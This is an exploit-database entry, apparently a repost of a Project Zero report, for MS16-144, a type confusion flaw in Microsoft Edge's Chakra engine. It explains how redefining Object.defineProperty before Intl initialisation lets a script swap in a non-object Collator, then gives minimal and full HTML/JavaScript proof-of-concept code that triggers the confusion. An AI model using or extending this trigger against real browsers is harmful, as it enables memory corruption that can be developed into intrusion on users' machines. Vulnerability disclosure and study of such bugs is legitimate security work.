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# Microsoft Edge Internationalization Initialization Type Confusion (MS16-144) Vulnerability

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<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=972
 
In Chakra, Internationlization is initialized the first time the Intl object is used, by executing the script in Intl.js (https://github.com/Microsoft/ChakraCore/blob/master/lib/Runtime/Library/InJavascript/Intl.js). This code attempts to prevent Object methods from being redefined by user scripts, but there are a few stray calls to Object.defineProperty in initialization. If Object.defineProperty is redefined before Intl is initialized, a user-define method can be called during initialization. If this method defines a Collator (or DateTimeFormat or NumberFormat) getter and setter on the Intl object, it can intercept what it is set to, and set it to a different value instead. This will then cause type confusion in IntlEngineInterfaceExtensionObject::deletePrototypePropertyHelper (https://github.com/Microsoft/ChakraCore/blob/master/lib/Runtime/Library/IntlEngineInterfaceExtensionObject.cpp), as this function assumes the properties of a Collator are objects, when they are not guaranteed to be. A minimal PoC is as follows, and a full PoC is attached.
  
 
var d = Object.defineProperty;
 
var noobj = {
    get: function () {
        return 0x1234567 >> 1;
    },
    set: function () {
    }
};
 
function f(){
    var i = Intl;
    Intl  = {}; // this somehow prevents an exception that prevents laoding
    d(i, "Collator", noobj);
}
 
 
Object.defineProperty = f;
 
var q = new Intl.NumberFormat(["en"]);
 
</script></body></html>
-->
 
<html><body><script>
 
var d = Object.defineProperty;
 
var noobj = {
    get: function () {
    print("in get no");
        return 0x1234567 >> 1;
    },
    set: function () {
        print("in set no");
    }
};
 
function f(...a){
    var i = Intl;
    Intl  = {};
    d(i, "Collator", noobj);
     
}
 
var pattern = {
    get: function () {
        return f;
    },
    set: function () {
    }
};
 
Object.defineProperty(Object, "defineProperty", pattern);
 
var q = new Intl.NumberFormat(["en"]);
 
</script></body></html>

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# Iranian Exploit DataBase = http://IeDb.Ir [2016-12-25]

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